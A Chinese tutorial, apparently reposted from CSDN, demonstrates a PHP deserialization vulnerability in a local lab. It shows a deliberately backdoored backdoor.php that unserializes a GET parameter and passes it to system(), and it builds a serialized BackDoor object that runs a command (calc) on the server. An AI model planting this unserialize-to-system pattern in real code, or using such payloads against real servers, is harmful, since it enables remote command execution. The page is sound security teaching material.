[Web 安全] PHP 反序列化漏洞 —— PHP 反序列化漏洞演示案例

news/2025/2/26 8:05:08

关注这个专栏的其他相关笔记:[Web 安全] 反序列化漏洞 - 学习笔记-CSDN博客

PHP 反序列化漏洞产生原因

PHP 反序列化漏洞产生的原因就是因为在反序列化过程中,unserialize() 接收的值可控。

0x01:环境搭建

这里笔者是使用 PhpStudy 搭建的环境,如果环境没有配置好的可以参考下面这篇文章:

PHP 环境配置:PhpStudy 环境配置

PhpStudy 安装好后开启它的 Apache 服务,并定位到它网站的根目录下:

将下面的代码保存到 backdoor.php 文件中,并放到 PhpStudy 的网站根目录下:

php"> # FileName: backdoor.php
 <?php
 highlight_file(__FILE__); // 高亮当前文件
 ​
 // 后门 - 程序员自己留的哈
 class BackDoor {
     public $command;
 ​
     public function run() {
         system($this -> command); // 执行 command 里的命令
     }
 }
 ​
 $command = $_GET['cmd'];
 ​
 if($command == True) {
     $cmd = unserialize($command);
     $cmd -> run();
 }

然后我们通过浏览器访问上面这个文件,如果访问成功就证明环境搭建好了:

php"> http://127.0.0.1/backdoor.php

0x02:漏洞复现

下面我们就来分析一下下面这个程序的代码(其实明摆着就是一个后门,只不过传参需要用到序列化的知识,后面笔者会以几道 CTF 题目做讲解,类型其实差不多):

php"> <?php
 highlight_file(__FILE__); // 高亮当前文件
 ​
 // 后门 - 程序员自己留的哈
 class BackDoor {
     public $command;
 ​
     public function run() {
         system($this -> command); // 执行 command 里的命令
     }
 }
 ​
 $command = $_GET['cmd'];  // 接收一个 GET 型的传参
 ​
 if($command == True) {    // 如果 $command 不为空就执行
     $cmd = unserialize($command); // 执行反序列化
     $cmd -> run();                // 调用 run() 函数
 }

我们可以看到,目标的 BackDoor 类中有一个 run() 函数,是用来执行系统命令的,这个命令是通过 BackDoor 中的 $command 属性获取的。

上面这个例子比较简单(而且不太真实),相信不少小伙伴已经想到了利用思路了,我们自己构造一个序列化的对象,给 $command 赋一个恶意命令,然后序列化后传给 cmd 执行即可。

首先,我们从网站上,把这个 BackDoor 类当下来,然后给 $command 赋予一个执行计算器的命令,然后实例化 BackDoor 类,并把这个实例化的值进行序列化:

php"> <?php
 ​
 // 后门 - 程序员自己留的哈
 class BackDoor {
     public $command = "calc"; // 这个命令会弹计算器
 ​
     public function run() {
         system($this -> command); // 执行 command 里的命令
     }
 } 
 ​
 $backdoor = new BackDoor();
 echo serialize($backdoor); // O:8:"BackDoor":1:{s:7:"command";s:4:"calc";}

如上,我们成功拿到了可以执行恶意代码的序列化参数,然后把这个参数通过 cmd 传给服务端即可(俺承认这个例子不咋地,不过基本上反序列化就是这么利用的):


http://www.niftyadmin.cn/n/5868350.html

相关文章

[特殊字符]《封印adb的黑暗通道:让系统文件成为魔法禁书区的终极指南》[特殊字符]

第一章&#xff1a;当adb变成泄密特洛伊木马 "曾经&#xff0c;adb是程序员的阿拉丁神灯&#xff0c;如今却成了产品经理的噩梦&#xff01;" —— 某秃头CTO的血泪控诉 某日&#xff0c;产品经理惊恐发现&#xff1a;自家黑科技APP竟被竞争对手用adb pull轻松窃取…

3DM转换成OBJ

3DM格式与OBJ格式简介 3DM是一种常用的三维模型文件格式&#xff0c;具有多种几何体和材质&#xff0c;文件大小较小&#xff0c;兼容性较好&#xff0c;适用于工业设计、建筑设计、产品设计、数字艺术等领域。 OBJ文件是一种文本文件格式&#xff0c;这就意味着可以直接用写…

目标检测tricks

A. Stochastic Weight Averaging (SWA) 1. 基本思想 SWA 的核心思想是通过对训练过程中不同时间点的模型参数进行加权平均&#xff0c;从而获得一个更好的模型。具体来说&#xff0c;SWA 在训练过程的后期阶段对多个不同的模型快照&#xff08;snapshots&#xff09;进行平均…

监督学习——分类问题:以鸢尾花分类案例为例

监督学习——分类问题:以鸢尾花分类案例为例 一、引言 监督学习作为机器学习领域的核心分支之一,在诸多实际场景中发挥着重要作用。它基于带有标签的数据进行模型训练,旨在让模型学习输入特征与输出标签之间的映射关系,从而对新数据做出准确预测。分类问题和回归问题是监…

KylinSP3 | 防火墙和麒麟安全增强设置KySec

一、系统防火墙原理 麒麟操作系统从V10版本开始&#xff0c;默认使用了Firewalld防火墙&#xff0c;Firewalld是能提供动态管理的防火墙&#xff0c;支持网络/防火墙区域&#xff0c;用于定义网络连接或接口的信任级别。支持IPv4和IPv6防火墙设置、以太网桥接和IP集。将运行时…

【前端定位线上问题的多种方案(不依赖 Sentry)】

前端定位线上问题的多种方案&#xff08;不依赖 Sentry&#xff09; &#x1f6e0;️ 一、构建时注入调试信息 &#x1f527; 1. 注入版本信息与 Git 提交哈希 Webpack 配置&#xff1a; // webpack.config.js const webpack require(webpack); const gitRevision require(…

React进阶之前端业务Hooks库(三)

前端业务Hooks库 hooks 方法localStorage和sessionStorager区别packages/hooks/src/useLocalStorageStatepackages/hooks/src/useSessionStorageStatepackages/hooks/src/createUseStorageState模块Hooks在不同场景下的应用Hooks陷阱前提例子useLatest和useMemoizedFn其他功能的…

jmeter 如何做移动端的测试 特别是兼容性测试

JMeter本身主要是一款用于性能测试和功能测试的工具,虽然它并非专门为移动端测试设计,但可以通过一些方式来对移动端应用进行测试,以下从测试准备、测试过程及注意事项等方面为你详细介绍: 一、测试准备 (一)环境搭建 JMeter安装与配置:确保JMeter已经正确安装在测试机…